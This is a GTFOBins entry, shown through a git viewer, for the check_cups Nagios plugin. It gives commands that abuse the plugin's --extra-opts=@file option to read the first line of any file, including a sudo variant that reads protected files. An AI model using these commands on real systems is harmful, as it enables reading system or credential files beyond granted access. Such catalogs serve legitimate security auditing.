GTFOBins.github.io/_gtfobins/check_cups.md

14 lines
362 B
Markdown
Raw Normal View History

2020-11-12 14:21:00 +01:00
---
description: |
This is the `check_cups` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
functions:
file-read:
- code: |
LFILE=file_to_read
check_cups --extra-opts=@$LFILE
2020-11-12 14:21:00 +01:00
sudo:
- code: |
LFILE=file_to_read
sudo check_cups --extra-opts=@$LFILE
2020-11-12 14:21:00 +01:00
---